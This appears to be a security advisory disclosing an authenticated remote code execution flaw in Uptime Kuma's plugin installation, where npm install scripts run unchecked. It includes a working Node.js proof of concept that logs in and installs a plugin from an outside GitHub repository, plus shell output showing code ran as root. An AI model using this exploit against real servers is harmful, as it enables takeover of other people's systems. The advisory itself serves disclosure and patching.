Installation of a maliciously crafted plugin allows for remote code execution by an authenticated attacker.
Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login.
After downloading a plugin, it's installed by calling npm install
in the installation directory of the plugin:
Because the plugin is not validated against the official list of plugins or installed with npm install --ignore-scripts
, a maliciously crafted plugin taking advantage of npm scripts can gain remote code execution.
➜ ~ docker exec -it uptime-kuma cat /tmp/poc
cat: /tmp/poc: No such file or directory
SERVER = "ws://localhost:3001";
USERNAME = "admin";
PASSWORD = "admin123";
const { io } = require("socket.io-client");
const socket = io(SERVER);
const repo = "https://github.com/n-thumann/npm-install-script-poc";
const name = "npm-install-script-poc";
socket.emit(
"login",
{ username: USERNAME, password: PASSWORD, token: "" },
(res) => {
if (res.ok !== true) return console.log("Login failed");
console.log("Login successful");
socket.emit("installPlugin", repo, name, () => {
console.log("Done");
socket.close();
});
}
);
# node poc.js
Login successful
Done
➜ ~ docker exec -it uptime-kuma cat /tmp/poc
Malicious code could have been executed as user root
This vulnerability allows authenticated attacker to gain remote code execution on the server Uptime Kuma is running on.
Summary
Installation of a maliciously crafted plugin allows for remote code execution by an authenticated attacker.
Details
Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login.
After downloading a plugin, it's installed by calling
npm install
in the installation directory of the plugin:uptime-kuma/server/plugins-manager.js
Lines 210 to 216 in 8c60e90
Because the plugin is not validated against the official list of plugins or installed with
npm install --ignore-scripts
, a maliciously crafted plugin taking advantage of npm scripts can gain remote code execution.PoC
In the PoC below, the plugin at https://github.com/n-thumann/npm-install-script-poc will be installed. It only consists of an empty
index.js
and apackage.json
containing the script:"preinstall": "echo \"Malicious code could have been executed as user $(whoami)\" > /tmp/poc"
. This will be executed when installing the plugin.docker run -d -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1
admin
with passwordadmin123
poc.js
with the following content:socket.io-client
:npm install socket.io-client
node poc.js
:Impact
This vulnerability allows authenticated attacker to gain remote code execution on the server Uptime Kuma is running on.